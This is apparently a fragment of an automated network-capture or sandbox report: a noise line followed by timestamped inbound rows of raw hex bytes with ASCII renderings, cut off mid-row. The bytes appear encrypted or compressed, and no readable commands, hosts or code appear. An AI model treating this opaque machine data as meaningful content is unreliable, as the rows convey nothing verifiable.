bV6_z}JAtFAnx/)CrI?-wNfA2*S<<`-8k_2rEqK6>}d-PzrWp'1(UpZ"g5gMD}A>09spnPzrGws.&B m\|bmZ
2022-08-31 12:28:59 UTC	1031	IN	Data Raw: 33 76 26 69 be 91 c9 73 12 81 2e ad b3 3a 2c 51 ab 28 fa 34 f3 77 c6 0e cb 87 7a aa f1 17 86 27 9c 27 d4 79 b3 75 eb 65 69 f6 08 89 00 67 90 5e 2b 1a fb 13 fc c2 aa b8 91 79 29 78 b0 fe 89 66 a2 60 d2 61 61 43 2f 94 6e 03 5a 33 b2 b6 aa e2 7d 79 d9 df 22 4e 37 1f 80 e3 e8 6c 3c 6c d2 0c f0 3d ad 67 24 d6 0c f2 28 1a 40 f4 60 95 36 8a 98 eb f0 7b 48 96 d0 e7 fa c5 f1 70 ab 2b b1 4a d7 60 3e 99 50 df b4 d5 6d e5 43 45 8e 0a d8 5a 60 d7 d6 f1 52 4d 63 5e d9 5e 90 56 ba 8a 02 c9 d8 07 de 59 da cf 2a 9d dd 5f 40 4b 1e e0 dd 51 7e cc d1 79 f8 8d 52 c0 61 9f 62 f0 e8 96 2a 35 61 c3 e4 b1 85 bf b7 62 1d 91 65 30 4e ba 3d 5c 94 05 96 91 82 13 83 ad a4 3f f8 31 c9 70 78 f9 35 25 fc aa 27 c5 5b 14 d2 4f d2 4b 60 bd d1 ad 0b 67 1d fe 10 63 41 49 ac 8e 73 9f 96 b7 fa Data Ascii: 3v&is.:,Q(4wz''yueig^+y)xf`aaC/nZ3}y"N7l<l=g$(@`6{Hp+J`>PmCEZ`RMc^^VY_@KQ~yRab5abe0N=\?1px5%'[OK`gcAIs
2022-08-31 12:28:59 UTC	1047	IN	Data Raw: fe fd 6e 85 05 ec d7 03 cf 0c 33 50 b6 ab d2 cf 06 03 22 36 9c 51 45 2d c0 77 0f cd 01 8a 23 68 48 80 2c 79 fc 52 b8 e2 f1 74 89 60 88 f7 b1 11 5e 39 0d d5 96 49 6e bf aa 62 01 1e 22 42 31 26 1d 67 25 65 44 4b f9 5d d0 6a ad 4b 07 71 3c 81 53 02 f8 c9 01 a6 89 af 05 29 dd 67 7a 46 33 85 10 65 b9 73 ae 1c 65 35 f2 79 f1 74 c7 f2 a7 03 97 7f d2 58 7f 5c 87 66 83 74 10 28 c8 ab 3e eb 7a 91 77 26 93 5b c7 0a 9e 1b 7a 06 92 50 12 9d cb 48 3b b8 29 56 da 50 75 9d 8a 87 d9 2f 28 3c d7 ae c1 f3 e5 8a ed 10 37 31 47 50 9b 57 49 e1 b4 37 77 9b 30 15 fa 6e b3 8e f2 c0 90 6d 4d b1 64 b1 21 f3 e4 ad 13 df be 0e 3f ce 89 0a e3 44 68 b8 9c e4 61 82 e2 8d 00 34 e8 e4 9d 69 04 0f 75 3e 75 dc 80 8a b5 1a 6e ab 7f cf 4a 82 79 3b 55 a7 99 8b 26 2f 68 78 ad e2 ee 7d ce 01 3f Data Ascii: n3P"6QE-w#hH,yRt`^9Inb"B1&g%eDK]jKq<S)gzF3ese5ytX\ft(>zw&[zPH;)VPu/(<71GPWI7w0nmMd!?Dha4iu>unJy;U&/hx}?
2022-08-31 12:28:59 UTC	1063	IN	Data Raw: de c4 a1 2b 5d 46 7f 66 fa 8d 7b bb 3a 7a e2 0d 75 9e 56 d2 d2 db fb 58 99 aa 4b db 9a 03 c0 d7 34 73 fd 75 f2 c0 45 2e 31 5b 28 15 4a 82 86 0f 0a 59 9c f0 b5 ad 44 2c 61 59 c5 9b e1 f0 39 83 21 f9 61 ab 44 cc 34 6e 1b 8f 61 34 06 ea a1 dc 57 a9 f5 21 97 93 a1 64 dd b8 c1 f4 d7 10 85 52 cd 26 68 8b a1 c3 57 1e 1f 0c 82 49 80 b4 0a b2 9c eb cd a5 1e 64 1e fb 9c a5 99 18 c3 f4 81 eb 60 b7 eb 0c cd f3 57 4a 4d 70 74 96 7c 83 8e e9 2a 36 ec f9 05 4f 14 09 0b 14 73 28 09 c1 64 15 2f f8 d2 58 8f fc 70 9a 9b a9 0c e6 a1 03 ab e8 b8 0b 40 f5 bd 8c fd df 39 2c aa 5e 0f 51 0a 6b e8 7b fc 11 f7 d7 65 a8 a9 66 d8 a4 53 b6 90 98 c0 d8 8b 2b 7d ea c6 61 c9 86 b7 eb b7 20 21 30 2d 02 16 96 2d 1d 22 31 77 9f 69 4f af 1a 20 d0 b6 00 e6 9a df ac f5 38 78 4d 67 f2 b6 28 df Data Ascii: +]Ff{:zuVXK4suE.1[(JYD,aY9!aD4na4W!dR&hWId`WJMpt\|*6Os(d/Xp@9,^Qk{efS+}a !0--"1wiO 8xMg(
2022-08-31 12:28:59 UTC	1079	IN	Data Raw: 8b a0 87 95 89 46 e8 fd eb 66 e0 f4 7f 8e 89 e7 5a 06 40 81 e0 c0 09 7c 7a 8d c9 89 b5 0e 8b 3d ac 97 3b 2b bb cb d6 5f 6b 83 ac 77 c5 95 4a 05 1e fb fa 23 c1 69 b3 ca fd 97 0b 18 c7 7f 69 ad 91 05 73 1b d1 c5 f1 75 bb 3a de 26 ab d3 d6 e3 48 54 6c 36 04 15 6e db 39 f8 f1 4f b2 76 17 f9 c3 55 c7 36 d3 93 0d 3a fe 4f 99 69 fe d7 b9 a0 c2 df 7b 53 80 e0 58 45 44 c6 c5 86 c1 e1 3f 57 76 87 f9 8b 17 b1 e6 38 2f a5 02 0e af 37 1b 5a 42 d8 dc ee 1a 5a db 39 ed d1 de b9 b6 c3 24 50 2e 7b fb 53 c8 99 4c 1b 20 c7 2d 77 b2 7a ca b5 3b 03 64 75 9e 6c b5 f8 7f 5b 44 08 99 74 74 29 29 2f 47 67 7f a3 43 e2 c4 8d a1 62 e0 b3 3b fa 16 52 cb ac 40 b9 63 b5 13 d7 22 f5 ee 62 78 b6 78 f9 5b 70 51 17 e2 3a 19 9e 39 da 53 f2 36 c5 f9 65 e5 ce 80 9e d1 a7 25 4a 98 fa 06 97 cb Data Ascii: FfZ@\|z=;+_kwJ#iisu:&HTl6n9OvU6:Oi{SXED?Wv8/7ZBZ9$P.{SL -wz;dul[Dtt))/GgCb;R@c"bxx[pQ:9S6e%J
2022-08-31 12:28:59 UTC	1095	IN	Data Raw: b1 bc e5 b7 df b7 53 75 ea b7 ad 5b 19 bf 05 b5 c3 aa 42 0d 4c 9b e1 e3 27 75 07 91 d8 ea f3 f2 15 9e f7 b2 32 34 c2 42 a7 88 1f ac 53 6f 5e a9 3d 4e 00 ac 28 f0 3b 65 d0 5b a4 04 24 83 48 6f 95 3c f8 30 50 12 7c 25 1e 30 8b 65 a2 f7 a4 1b 60 b5 2a cd 31 94 81 28 5a 54 49 3f 2f 80 24 df d2 7c 77 ea ce 8d 5d a6 90 8d a9 ac 57 60 f9 0b f4 11 83 84 d6 55 7f f4 b0 f4 9e 37 28 25 00 73 52 d0 6b eb 8b b6 58 c8 bc b2 11 18 20 8f 3d e6 90 6a a3 26 64 e8 ce 56 7c 86 ef 12 3b 03 74 8a dd 10 62 3a 88 fc 77 6c 03 d8 4c c5 f2 ff 9e 67 79 96 05 5f ac 1b e5 ef 04 e5 12 c4 2b 56 6c 70 d8 e9 17 87 ec 26 a8 4f 84 6c f8 e0 42 bc ad 93 17 df 50 af e3 a8 4b a9 07 28 b2 7b af 8a e7 d5 34 e0 31 f3 fa ad b5 89 1d f2 a7 d8 83 b7 dd 61 fa 85 29 47 57 f3 7c 01 38 6b 4b 8c d9 09 a6 Data Ascii: Su[BL'u24BSo^=N(;e[$Ho<0P\|%0e`*1(ZTI?/$\|w]W`U7(%sRkX =j&dV\|;tb:wlLgy_+Vlp&OlBPK({41a)GW\|8kK
2022-08-31 12:28:59 UTC	1111	IN	Data Raw: 7e 13 c3 97 d6 85 e7 e6 1d 26 3c 44 a3 95 e5 28 89 1c a4 92 a5 96 4c dc 4e b4 e5 5b 85 fe e8 70 bc b8 50 36 38 e0 bb ad aa 6b f6 85 88 b4 bd a6 e5 05 46 3c e7 f3 91 da 1e 1b 8a af 04 42 1f 16 48 f6 31 9c c7 5d 98 c9 57 6b c8 1a b5 9b 09 af 86 28 e5 d7 d8 b2 0f 58 5b f3 62 05 86 e0 66 f3 dd dc c3 42 df ad 1a e7 42 99 28 52 81 3e c8 ec 4e 8a 5d 37 3f 57 c3 a0 20 12 d1 4c 83 b0 7e a6 17 66 b9 3f 33 0f 78 78 3f 2f 7c 85 eb f0 65 6a d8 5a 27 df 58 a4 f3 2a 78 2d 0c b5 58 d4 09 87 03 65 00 d0 44 54 da bc 5a d0 9d 0e d2 af 43 00 f7 73 a4 4f 76 95 8f 74 0c 13 b5 d6 c9 e2 7c d9 44 48 04 ea 8f ee e6 05 44 63 76 fc 74 35 54 81 7a 35 a9 91 e0 d9 ef cf 6c ec b9 eb 98 c6 ce be 2b 93 79 bc 05 40 a5 b1 4d b4 22 e9 65 f6 2c c5 f7 21 26 52 0f 73 97 e1 7c 7c ac b0 3e 6b d5 Data Ascii: ~&<D(LN[pP68kF<BH1]Wk(X[bfBB(R>N]7?W L~f?3xx?/\|ejZ'X*x-XeDTZCsOvt\|DHDcvt5Tz5l+y@M"e,!&Rs\|\|>k
2022-08-31 12:28:59 UTC	1127	IN	Data Raw: 92 13 c8 04 76 b5 36 23 98 8a a9 89 5d a5 4a 92 5a 9b e6 81 7d 28 9b bf de 22 39 2a 3d de 84 f7 8d 71 29 ad 1a 0e 88 5b c7 53 c7 e0 41 14 af 38 fd e2 6e 43 56 10 de 65 30 df b9 53 38 e5 ed 51 0b d1 7d 8d 00 ab c2 50 b9 85 99 4e 77 db 9e 02 48 15 22 88 24 40 30 97 61 5a 0e fa d1 c6 11 e4 86 e9 6f d9 7e d3 e0 b3 cf 82 e8 6d 1c 9b 8f 02 da a5 fe 3a 96 20 73 38 15 b6 83 41 ec 0c c5 b2 ef 8e 96 2e fc 46 3d 03 6f d0 e9 38 05 15 aa 8d f7 7a 39 c8 1b 3f f6 83 61 8d b0 a2 3e 37 26 4f 0b d3 33 96 48 d7 f4 10 fb 78 1d 41 80 70 fe e7 b9 26 a5 d5 67 99 21 1a 3d a4 2d b2 20 aa 83 74 b2 2f 63 8d e1 07 8b 54 5e 11 8b c2 c1 3b 1b f8 0a 27 2c 8c 5c 65 a3 1a 68 68 67 2f a9 66 44 d5 f6 56 58 4b bd ba 6a df 43 c2 9f 84 50 0f 68 48 ed f8 38 21 2b 52 e4 f8 22 da 37 5b 2f b9 4a Data Ascii: v6#]JZ}("9*=q)[SA8nCVe0S8Q}PNwH"$@0aZo~m: s8A.F=o8z9?a>7&O3HxAp&g!=- t/cT^;',\ehhg/fDVXKjCPhH8!+R"7[/J
2022-08-31 12:28:59 UTC	1143	IN	Data Raw: 2f 55 52 0e e8 7b 3e 83 d9 a7 af d2 fa 62 7c fd 24 a2 47 6b f9 da dd 88 43 6c f1 f3 00 05 d8 8f b7 3d 5d 53 f7 d9 9f 5c a4 6a 00 11 0a 05 80 c3 c2 8b b7 16 62 fc 72 99 0f 5b 75 56 4f 3a 95 89 70 69 8e 9b 70 36 7f d9 10 da 30 87 8b 93 53 c2 2f 33 b6 ea 0e e6 b1 f2 83 3f c3 1b 4f f3 7d 35 ff db cf cf a5 bb bb b1 69 b5 93 7e 94 02 cd 57 f1 c3 64 7d a4 2f 41 fc 87 30 f7 cf 99 4c 21 6d 09 08 ec 07 04 d5 1c 4d 2a d7 7d fd 74 e6 37 27 ae 58 a3 61 63 fa 38 66 37 a5 5c 45 b4 c0 61 46 57 a5 92 54 08 8d b1 cb 73 9d 3f cd 3a 90 e0 a7 c1 13 a3 f5 b7 3b ba f9 fd 3f 02 e3 75 fd 10 9c df bb 99 e3 90 c0 9d 2e d7 8e 26 e7 b7 c6 4b 82 63 96 cf b1 b8 bc ac 68 c2 72 5e b1 69 be ba bf e5 47 8a 6c 7e a9 da 81 ba ad 50 ed d6 2e 66 30 c6 59 74 85 28 2d 86 f5 11 63 c0 d2 d2 b5 3e Data Ascii: /UR{>b\|$GkCl=]S\jbr[uVO:pip60S/3?O}5i~Wd}/A0L!mM*}t7'Xac8f7\EaFWTs?:;?u.&Kchr^iGl~P.f0Yt(-c>
2022-08-31 12:28:59 UTC	1159	IN	Data Raw: 0c f5 45 f3 f2 9a 60 6f f2 78 a5 23 4a 64 f7 16 ce ad 37 b2 b5 28 b1 88 74 4b 2b c8 8c 5d ad f0 2a 10 a8 72 6d bd 69 72 c4 3c 7f 1b df b7 e8 e2 f9 2b f3 8c a9 7b 25 37 18 d5 3a 7c 6e 12 b2 1e bb 50 a3 a7 c5 10 5f 8d 4f 3d 0b 11 69 51 be a1 67 68 76 6f f2 e1 1b c7 7a a2 45 2b 07 cc 10 6e f5 03 40 05 7e 2c 86 73 9a 3b a0 0a e4 46 8f 7b c1 cd 5e 66 15 31 32 af 6e b6 5c 94 43 b5 c6 00 4d 93 ec ed ec db c8 fc 75 ce 28 98 56 fa c4 7a 1e 1d d5 6c eb 65 4e 54 fb a1 f9 42 82 43 51 f2 a3 46 57 35 56 de 62 ea 66 e1 4c 9c cc c0 b2 12 29 9c 1f 25 33 93 94 2b 37 17 11 bd b6 d8 95 ea 9f bc a8 06 f2 a4 46 55 18 4e cc fa 47 fb 8d 2b d6 b0 9c fe 58 90 6c ca 81 d8 e6 c3 f8 70 62 84 bc cb 5f 68 8a 5d 43 42 7f a7 e7 fe b6 98 87 38 97 50 60 57 b9 d2 73 98 44 a4 31 b7 a3 da ca Data Ascii: E`ox#Jd7(tK+]*rmir<+{%7:\|nP_O=iQghvozE+n@~,s;F{^f12n\CMu(VzleNTBCQFW5VbfL)%3+7FUNG+Xlpb_h]CB8P`WsD1
2022-08-31 12:28:59 UTC	1175	IN	Data Raw: cf d7 05 bd ea 67 b0 51 7e 8a 4e ae 0c f1 ad 93 6f 1d 88 86 7c 15 b4 37 b2 63 00 a4 bf fe aa 9a a1 ae 31 e0 08 ef 51 6f a7 5b 24 24 bc 75 2a 67 9c ce 4e 72 03 e6 9a 1e 9a cb 3c 19 a7 d8 bc ab 47 5f 0a dd 4b 64 f1 c0 93 6b 73 51 1b d1 5a db 2f 02 fa a1 f1 62 be 2a ab dc bf e9 04 29 13 4d 78 d5 73 f5 63 59 75 c8 e4 25 a0 59 46 14 65 dc 67 29 a2 34 d4 98 71 33 b9 50 3d c3 59 47 6c 39 4a 77 d7 04 1b 5f b7 ce ea 0f 1b 65 eb 2f d0 1f 3b 5d 2e de 90 a5 6a 49 31 a1 84 b1 b4 61 6c 31 4f 07 10 74 1f 4e 61 22 f4 66 e9 5d 21 79 a0 3f 63 0e 7d 3a 3e ad 34 59 6a f0 22 f9 fe a1 87 f2 63 74 66 e1 2f 13 e2 7f cd 58 62 2d d6 11 68 40 e2 2a c3 ef a8 39 5b 6a 9d 08 cf fd bd 1a 29 06 c2 15 86 c6 34 4c e7 3e 60 55 38 4f 84 e0 b1 26 ce 54 15 71 d9 93 16 18 9e ba ff ff 44 be 07 Data Ascii: gQ~No\|7c1Qo[$$ugNr<G_KdksQZ/b)MxscYu%YFeg)4q3P=YGl9Jw_e/;].jI1al1OtNa"f]!y?c}:>4Yj"ctf/Xb-h@*9[j)4L>`U8O&TqD
2022-08-31 12:28:59 UTC	1191	IN	Data Raw: 6e 25 14 18 13 f6 f9 c6 9d 3e 19 61 8f a9 1e 71 a6 ec ed 39 fc 46 2e bd 98 9a 93 50 5c 55 12 e1 cd 55 ff dc cf 85 ac cd 4d e9 11 22 8c 2b fb ff 5f 67 52 92 4e 5d c6 49 bf 1a 7c 1b 39 99 0e 65 d7 32 1f c9 d1 dc ad 0f 78 8a 6b 46 15 5a eb 4e 2c 2e 1b 43 40 22 6c d2 6e 7a ce fb 41 ab 33 5e f3 1e 1f aa a2 73 05 80 91 43 39 0f 49 89 db 43 9e 54 5d 2d fd 63 f4 ac 0b 3f 82 65 28 c9 4d 5a 4c bd de 25 b1 99 3a 4a ed 99 1e 37 f6 8a c4 07 0d ec a9 eb 70 ab 56 49 2d df 75 f3 90 e4 b5 bb 07 59 a5 f9 66 b4 3e b7 f3 59 29 a8 6e 9b 9e 06 d9 95 4f f0 5a 73 28 da ad d5 d6 58 d7 a7 ad 3e e2 a9 59 0e 19 5f f3 74 a2 29 28 d9 96 d6 6a 54 93 65 4e 19 c4 09 ea 7a 97 2e 6b 1f 14 90 3c 63 b9 18 31 f3 cd 92 03 ef e3 c8 0d db 27 9b c7 a6 13 21 0f 77 dc 73 aa d6 54 06 19 54 c8 ae e6 Data Ascii: n%>aq9F.P\UUM"+_gRN]I\|9e2xkFZN,.C@"lnzA3^sC9ICT]-c?e(MZL%:J7pVI-uYf>Y)nOZs(X>Y_t)(jTeNz.k<c1'!wsTT
2022-08-31 12:28:59 UTC	1207	IN	Data Raw: 9d a2 1b ae 5d 53 b0 74 a2 ad 58 35 05 81 de e4 fd 95 5a 7d 86 e8 cd b0 a7 47 7f a1 27 25 7f e5 b3 df 62 f5 70 49 f0 ec 07 2f c3 a5 51 03 25 bf 83 dd 82 cb f5 e4 70 4d 93 2c 8d b3 c3 f2 91 51 0c 99 3e 77 4e f2 26 37 43 65 75 b0 b7 45 48 ea 54 cc 8d 42 4c d3 6a ae d9 55 a7 bc 51 e1 a1 04 0e 0a 6e 44 3a b7 cb f0 96 80 c4 dd fe 2e b1 b0 5a 95 9d 7a e3 1e fa 6d bf 8d 18 fb 51 1f 22 b0 0b 47 65 fe fb ff ea 58 13 e6 24 38 fe 1c 2c 89 34 57 fa 55 9f 16 3d 30 87 c3 3d 66 7d 49 59 9d 65 c5 4a 79 35 cd 26 0c 11 25 d9 cc a3 c8 67 54 1e f5 58 d7 d3 de 6e 6c 28 61 55 51 c6 00 6f 7f 54 48 aa 26 72 0b ca 39 91 b8 d3 a6 f3 ca 81 cd fc db 3e 2f eb da 31 a0 d7 e2 12 9b 44 32 05 07 c5 cc 76 73 87 84 40 14 94 16 51 1e c1 2c c6 03 aa 64 60 56 fa 8f 46 40 1e 3c 83 c0 19 ee 70 Data Ascii: ]StX5Z}G'%bpI/Q%pM,Q>wN&7CeuEHTBLjUQnD:.ZzmQ"GeX$8,4WU=0=f}IYeJy5&%gTXnl(aUQoTH&r9>/1D2vs@Q,d`VF@<p
2022-08-31 12:28:59 UTC	1223	IN	Data Raw: 6d a4 24 2c 3f 9b 0d a2 75 15 14 15 56 8d 20 ea 75 6e 75 a2 e6 ab ee 33 48 04 fc d7 96 ce 02 59 b3 87 18 4f c2 66 8c d9 3b d9 73 9b 77 74 a7 6b 7f 19 8c c8 cb 47 73 9b 4f 91 28 c2 b4 a2 ed 72 78 55 80 56 81 f5 93 90 dd a9 53 30 0f 12 b7 6f 82 01 6d e1 c2 46 3c 66 fa af 08 d8 23 f7 d5 d6 c3 0e 08 00 db a4 bf 7e 73 79 47 c6 0e 16 dd 9b 37 46 d0 29 67 f2 43 18 f0 6a 96 45 d2 c0 c5 63 f7 70 9d 16 52 e8 22 f8 e8 26 98 15 3c b1 6a 7b 35 6d 00 56 df 32 0c 9f 42 00 ce a6 d2 94 64 78 7a 58 a5 c5 14 fb b2 9f c2 1d a2 39 fe 0f bf a8 8a 95 41 b7 23 07 2c 0f 34 84 73 cf 30 99 84 c7 83 59 5a eb 66 d0 ee 3a 4f 9c 20 d6 fd 62 c9 93 37 a2 04 18 4f 9c c6 d3 b2 42 cb 82 61 3a fe 2c c3 31 54 29 66 8f 41 40 ca b7 68 7c 7b 14 55 d3 f3 2f 08 6b b1 5c d3 ab 72 13 87 99 89 b9 a2 Data Ascii: m$,?uV unu3HYOf;swtkGsO(rxUVS0omF<f#~syG7F)gCjEcpR"&<j{5mV2BdxzX9A#,4s0YZf:O b7OBa:,1T)fA@h\|{U/k\r
2022-08-31 12:28:59 UTC	1239	IN	Data Raw: 8b 79 5d 4e f5 e1 d7 85 18 22 be e3 6b d0 a7 c5 37 c9 44 6a a2 98 6c b4 40 19 4b ba c0 75 18 58 48 4c 00 a6 71 89 4e 2e ce 85 75 62 9d 50 2b 23 a4 5a f5 a5 59 80 0c da 36 22 28 28 57 9a 2e fa cc fd c2 bd ae 48 f8 c5 74 69 82 9f f8 08 0f c2 69 2a 7e 10 05 84 e4 a4 6d 7e e7 38 7a 3f 5d f6 eb c4 98 0f c2 e3 52 34 66 3b a4 06 53 6b f7 af 75 5c 71 b7 0e 42 52 ee 6d 42 6f 98 c3 da 90 20 d4 5e e2 71 7e 26 d2 ea 14 cf d9 ce e0 6b 08 91 64 54 02 20 fe 4b a5 00 38 41 63 97 74 a0 05 2b 1f 00 6f 17 4c 46 3c e5 ee d8 f5 95 10 c8 ab 9b 3f 07 90 05 3f 82 af af 9e 62 eb 62 07 fc 81 d2 a9 0b 30 e8 56 50 b1 95 7b 67 d5 f8 f0 bd 5c 5b 28 e1 bd 5e 05 5d dc f8 35 34 7f 23 86 3a 70 65 c7 f7 4b 89 6b 9e 5f a8 f9 3d 45 4d b3 bc b7 59 60 1a 44 7b c7 2a e2 46 50 c8 18 4d bd 02 ed Data Ascii: y]N"k7Djl@KuXHLqN.ubP+#ZY6"((W.Htii~m~8z?]R4f;Sku\qBRmBo ^q~&kdT K8Act+oLF<??bb0VP{g\[(^]54#:peKk_=EMY`D{FPM
2022-08-31 12:28:59 UTC	1255	IN	Data Raw: 73 92 42 f7 50 2f e0 6f 45 bc d3 1d 28 0f 04 c1 eb 78 99 03 a8 26 b3 d0 75 94 c0 14 79 60 11 27 94 d8 09 fb 5a ea ec a2 50 e2 ce 0a 1e 00 1a 2c f1 96 4e 1f b7 f8 2c 42 41 16 15 23 fd 5c 7d 8a f0 f3 8d f7 98 c1 57 7c 8e f5 24 2e 7d 8c 38 f2 cb 90 aa ff 45 94 56 f6 8e c1 f4 17 64 e5 8c 56 3a 8a 21 06 94 d9 6a fe 71 24 be bf 00 c3 7c 6b 3c 75 04 d9 4c 67 c8 e3 d7 17 1e 09 9b d3 17 fe bb 1e 2a 72 08 26 f3 da b2 34 5b 7b a1 98 0c 9e 1a 62 41 2c 63 89 6e ce 88 fd 43 e2 d2 2a 85 1b 94 0b ac 8f 52 cb f9 49 0e 6f 82 51 27 88 4a 4c 85 99 be ee 74 fe 67 f8 b3 0a 00 07 3d a1 57 28 4b 21 5d 16 3f 0c 79 7b 88 f8 bc dc 48 84 4e 41 c5 43 db da e7 38 e4 71 a1 84 f4 26 81 3e 55 40 6d 99 63 91 29 2c 2b 86 e4 0d 89 2b 37 2e 4d 7b 4e c9 72 72 b3 ae 07 39 2e e3 2a 1b 7b 74 ca Data Ascii: sBP/oE(x&uy`'ZP,N,BA#\}W\|$.}8EVdV:!jq$\|k<uLgr&4[{bA,cnCRIoQ'JLtg=W(K!]?y{HNAC8q&>U@mc),++7.M{Nrr9.*{t
2022-08-31 12:28:59 UTC	1271	IN	Data Raw: b8 03 50 a4 ed d8 41 b7 de cc c2 cf 27 c3 74 3c cc e2 af 74 e0 f9 17 dd f8 4c 62 9b 83 05 e6 c8 6a 1c d6 d4 a2 9c 4e a8 d5 b9 88 43 4b 4e 34 ac bf bd 84 67 9a 27 f0 a4 39 20 bb b7 b2 f6 3b 37 29 47 cf 9e 5f 19 c5 d7 fd 31 5d e4 8f 04 5e 9e 95 a7 7d 9c d6 5d ce 0c bb 04 c9 57 8e 16 6f 34 f0 a0 28 b6 0f 42 ba e4 90 25 6e 31 66 54 f9 e6 c6 a6 fc dc 22 af 59 8d 3d 4a 41 06 81 7a 5f df 3b a8 47 bb ac 74 0c 2a 83 b0 5f ba 5c 3d 07 b7 3c 75 3c 4d 1a ff 1f b3 e3 5b 98 db 77 99 d6 05 33 8f 93 18 0d 5b 89 a1 9a 3f 86 e2 2a 0c 9f 83 14 c3 a1 6c e7 dd c8 b9 f2 94 1a ea 55 0d b7 83 d2 ac e8 37 83 18 c6 26 02 70 46 64 57 ee 73 dc 00 49 5a 5d df cd 7f 8b d7 39 ce 9b ed 66 96 c5 ed 28 83 29 72 ef 75 65 02 cc 26 d1 a2 62 cb eb 34 e4 70 02 ca 10 9b 5f 13 71 0e 6f e3 0b d9 Data Ascii: PA't<tLbjNCKN4g'9 ;7)G_1]^}]Wo4(B%n1fT"Y=JAz_;Gt_\=<u<M[w3[?lU7&pFdWsIZ]9f()rue&b4p_qo
2022-08-31 12:28:59 UTC	1287	IN	Data Raw: 1c ff d7 a1 58 b4 d9 65 b1 0e bd 0b 83 fa a8 4b 86 94 b7 40 e3 b7 7a 0a eb 04 57 07 60 9f 25 12 62 3c df ed ca 07 00 51 1f 51 25 f9 ad 8e c1 94 4a 2a a8 5c 75 22 34 e7 c0 c6 75 8c 54 8a d5 c9 c9 a1 7e 11 e2 f1 b2 e7 bb ac 78 25 0f 14 7a 62 eb 49 29 10 85 5f 86 bd f9 3a b5 87 c2 34 c5 01 27 87 0c 5e 42 fc 1c 13 6c 3c c3 b5 bf 5d 46 96 2c 4f dd b5 a6 8c 30 ed d6 b6 2c 8f c2 fb 8a f7 1f 4c 8a a1 b2 a5 08 a3 05 40 16 a4 15 3f 7e 21 5c b3 e3 19 7b eb c5 9c 4c ff 05 d0 7a aa c3 ec e4 7f 60 a8 5a 98 cf 46 f3 0b 11 96 a7 91 63 e6 a6 39 26 99 45 ab 9d 98 e3 a6 67 06 45 41 58 44 15 78 73 9b 77 69 7a 49 6d 86 5a 88 38 08 d7 1b 57 d8 49 c7 b3 3f c1 93 a3 c5 4f c4 d1 1e c7 c1 3e 50 59 5d 2c b5 a3 14 8e d9 61 c0 f4 c1 a7 7a 13 9f 31 47 33 41 0d 0b fd 73 7d ad e6 17 76 Data Ascii: XeK@zW`%b<QQ%J*\u"4uT~x%zbI)_:4'^Bl<]F,O0,L@?~!\{Lz`ZFc9&EgEAXDxswizImZ8WI?O>PY],az1G3As}v
2022-08-31 12:28:59 UTC	1303	IN	Data Raw: 34 dc ea 8e ab d0 fe 90 1f 83 6b 9b 51 c0 09 2f 22 1b e1 c1 90 f9 4f cf 7b a6 72 01 67 f2 8b 72 ea 1b 6c e7 e8 5f d3 6e fc 29 6b b3 3a 2a 5a cb 76 c6 00 f6 2b 08 97 63 4e 80 a8 30 76 61 ae cc 42 3f 03 35 d1 80 66 41 03 ab 27 0b 31 f3 5d b6 18 aa 25 62 8e f5 d9 cc 45 a2 6e 25 32 10 a3 74 b1 c3 17 e4 56 8e b5 d1 1d 9c 23 1e bb 4f 0c 8c fc 12 7c 55 fd 2b e0 24 4b ec 46 63 26 14 d3 cb 88 f2 9b e0 22 0a 86 78 be 6b 65 e0 f9 e7 ab a0 37 a0 fe 2f 13 10 da 1c 30 96 01 85 bd 38 ca 50 c6 01 f2 3f 89 ff ce 6b 38 cb 15 74 fb 32 f7 98 71 43 1e 14 41 95 f9 77 1a a3 57 7a 16 2c fb 40 91 a9 06 0f b1 16 58 47 a5 fe 5c 6d 1d 62 3a 45 fe a1 6c ab 72 a0 25 e0 37 cc b8 5c fc 6d 88 15 b5 9d e9 89 65 72 f0 90 41 e3 36 8b 9b ed 64 28 52 c7 4e 9f b9 91 27 51 58 5a d0 c3 67 5b b4 Data Ascii: 4kQ/"O{rgrl_n)k:*Zv+cN0vaB?5fA'1]%bEn%2tV#O\|U+$KFc&"xke7/08P?k8t2qCAwWz,@XG\mb:Elr%7\merA6d(RN'QXZg[
2022-08-31 12:28:59 UTC	1319	IN	Data Raw: 46 ca a7 e8 a1 67 2a 74 ef a0 19 84 cf ce 91 4e 19 f9 00 45 0a 95 65 0d ce 68 de 7c d5 bb b7 32 f0 01 0e 4e a3 ac de 8c 0e 6d 26 cd e1 29 fd 90 56 38 92 4d 77 43 82 57 c9 81 fb 4f 5e 58 76 19 03 63 a6 07 6a 7d 56 ad f5 c8 cb 05 e3 de 5a e0 59 dc 8f d7 ab 0e 9d f0 3c b1 dd 95 8c ef 44 51 dc 20 a5 21 78 cf dc 46 ee 89 15 bb b3 6a e1 ce 3e 02 82 3a 54 d2 cf 5e 36 ef bd b2 ee b9 f2 5d a7 fe dc 7d 37 f9 d1 12 e1 22 04 b1 40 ff 5d 46 8b 82 b8 db 92 d3 ca f8 c2 f2 c7 2c 9f 1f 2f 3e 73 47 35 5a 3c 70 cb b5 d8 3d 80 11 b1 d1 b6 52 b3 1f bd 45 c2 1a 91 5e 7a e3 b2 5d 80 b4 55 db 6b 65 ed b4 26 7c bd be 70 0c ae c7 0d 2c 1a 39 63 34 46 14 aa e8 9b 28 93 1b 5c 41 31 7b af 67 4f 0a a0 df 9c fc d4 54 b0 da 9c a5 a7 46 46 28 79 1c 93 12 da ab d6 79 75 12 fc ff 81 61 e8 Data Ascii: Fg*tNEeh\|2Nm&)V8MwCWO^Xvcj}VZY<DQ !xFj>:T^6]}7"@]F,/>sG5Z<p=RE^z]Uke&\|p,9c4F(\A1{gOTFF(yyua
2022-08-31 12:28:59 UTC	1335	IN	Data Raw: ed d4 02 96 c8 a4 fc 61 b1 f1 24 03 74 93 aa 53 e4 68 a2 ca ec 80 28 96 99 7f 32 b4 58 a2 dd bf 5c 7a 69 ff 33 5b d1 35 c0 ad 0b da 81 b8 c8 a5 27 2a 28 41 50 13 7d 54 69 c9 10 66 15 46 e4 47 ab fd 38 bc a7 9e 9f ff f8 e2 91 94 ba f7 26 de e3 f4 dd 4b 42 8a d3 b5 58 f5 89 cf 42 72 ec 80 d3 3c ca df 17 9e 80 44 6e 87 4c d1 71 3c b6 e4 95 a6 59 6b 24 7e 5a 84 cb aa 77 c2 83 b3 12 1c 94 60 c2 fe f1 cb df 9f 90 85 01 32 51 28 75 da f0 99 7e 2b c1 b5 cb a8 5d 3c 7b 13 b4 f4 e2 8f e8 e4 bf 4d de 5e 8a 20 dd 62 41 cb ef ee 64 73 37 7d a0 71 c4 0b 92 87 1b 15 2d d7 8a 61 e3 40 